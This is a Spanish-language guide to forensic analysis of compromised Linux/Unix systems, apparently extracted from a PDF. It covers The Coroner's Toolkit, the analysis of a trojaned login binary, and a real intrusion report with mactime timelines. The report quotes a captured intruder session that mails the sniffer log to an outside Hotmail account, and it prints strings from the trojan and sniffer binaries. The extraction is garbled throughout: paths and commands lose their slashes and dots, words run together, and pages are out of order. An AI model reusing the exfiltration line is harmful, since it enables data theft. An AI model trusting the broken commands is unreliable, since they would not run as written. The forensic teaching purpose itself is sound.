mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 24: Análisis Forense de Sistemas GNU/Linux, Unix

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

